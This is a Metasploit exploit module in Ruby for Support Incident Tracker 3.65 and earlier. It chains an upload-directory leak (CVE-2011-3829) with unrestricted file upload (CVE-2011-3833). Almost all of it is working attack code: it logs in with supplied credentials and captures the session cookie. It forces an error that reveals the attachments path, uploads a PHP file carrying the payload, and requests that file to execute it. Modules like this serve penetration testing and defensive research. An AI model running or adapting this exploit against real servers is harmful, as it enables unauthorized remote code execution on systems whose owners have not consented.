##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Support Incident Tracker <= 3.65 Remote Command Execution',
      'Description'    => %q{
          This module combines two separate issues within Support Incident Tracker (<= 3.65)
        application to upload arbitrary data and thus execute a shell. The two issues exist
        in ftp_upload_file.php.
        The first vulnerability exposes the upload dir used to store attachments.
        The second vulnerability allows arbitrary file upload since there is no
        validation function to prevent from uploading any file type.
        Authentication is required to exploit both vulnerabilities.
      },
      'Author'         =>
        [
          'Secunia Research', # Original discovery
          'juan vazquez'      # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', 'CVE-2011-3829'],
          ['CVE', 'CVE-2011-3833'],
          ['OSVDB', '76999'],
          ['OSVDB', '77003'],
          ['URL', 'http://secunia.com/secunia_research/2011-75/'],
          ['URL', 'http://secunia.com/secunia_research/2011-79/'],
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            }
        },
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Nov 10 2011',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('URI', [true, "SiT! directory path", "/sit"]),
        OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
      ], self.class)
  end

  def check

    if datastore['URI'][-1, 1] == "/"
      uri = datastore['URI'] + "index.php"
    else
      uri = datastore['URI'] + "/index.php"
    end

    res = send_request_raw({
      'uri'     => uri
    })

    if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
      ver = [ $1.to_i, $2.to_i ]
      print_status("SiT! #{ver[0]}.#{ver[1]}")

      if (ver[0] == 3 and ver[1] == 65)
        return Exploit::CheckCode::Vulnerable
      elsif (ver[0] == 3 and ver[1] < 65)
        return Exploit::CheckCode::Appears
      end
    end

    return Exploit::CheckCode::Safe
  end

  def retrieve_session(user, pass)

    if datastore['URI'][-1, 1] == "/"
      uri = datastore['URI'] + "login.php"
    else
      uri = datastore['URI'] + "/login.php"
    end

    res = send_request_cgi({
      'uri'     => uri,
      'method'  => 'POST',
      'data'    => "username=#{user}&password=#{pass}",
    }, 25)

    if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
      print_status("Successfully logged in as #{user}:#{pass}")

      if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
        session = $1
        print_status("Successfully retrieved cookie: #{session}")
        return session
      else
        raise RuntimeError, "Error retrieving cookie!"
      end
    else
      raise RuntimeError, "Error logging in."
    end
  end

  def upload_page(session, newpage, contents)

    if datastore['URI'][-1, 1] == "/"
      uri = datastore['URI'] + "ftp_upload_file.php"
    else
      uri = datastore['URI'] + "/ftp_upload_file.php"
    end

    boundary = rand_text_alphanumeric(6)

    data = "--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"file\"; "
    data << "filename=\"#{newpage}\"\r\n"
    data << "Content-Type: application/x-httpd-php\r\n\r\n"
    data << contents
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
    data << rand_text_alphanumeric(rand(10 + 10))
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
    data << rand_text_alphanumeric(rand(20) + 20)
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
    data << "1"
    data << "\r\n--#{boundary}\r\n"
    data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
    data << "publish"
    data << "\r\n--#{boundary}--"

    res = send_request_raw({
      'uri'    => uri,
      'method'  => 'POST',
      'data'    => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data; boundary=' + boundary,
        'Content-Length' => data.length,
        'Cookie'   => "SiTsessionID=#{session}",
      }
    }, 25)

    if (res and res.code == 200)
      print_status("Successfully uploaded #{newpage}")
      return res
    else
      raise RuntimeError, "Error uploading #{newpage}"
    end
  end

  def retrieve_upload_dir(session)
    data =  rand_text_alphanumeric(rand(20)+20)
    filename = rand_text_alphanumeric(rand(256) + 300)
    res = upload_page(session, filename, data)

    if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
      upload_dir = "attachments-#{$1}"
      print_status("Successfully retrieved upload dir: #{upload_dir}")
      return upload_dir
    else
      raise RuntimeError, "Error retrieving the upload dir"
    end

  end

  def cmd_shell(cmdpath)
    print_status("Calling payload: #{cmdpath}")

    if datastore['URI'][-1, 1] == "/"
      uri = datastore['URI'] + cmdpath
    else
      uri = datastore['URI'] + "/#{cmdpath}"
    end

    send_request_raw({
      'uri'  => uri
    }, 25)
    return
  end

  def exploit
    cmd_php = '<?php ' + payload.encoded + '?>'
    cmdscript   = rand_text_alphanumeric(rand(10)+10) + '.php'
    user        = datastore['USERNAME']
    pass        = datastore['PASSWORD']

    session = retrieve_session(user, pass)
    upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
    upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
    cmdpath = "#{upload_dir}/#{cmdscript}"
    cmd_shell(cmdpath)
    handler
  end
end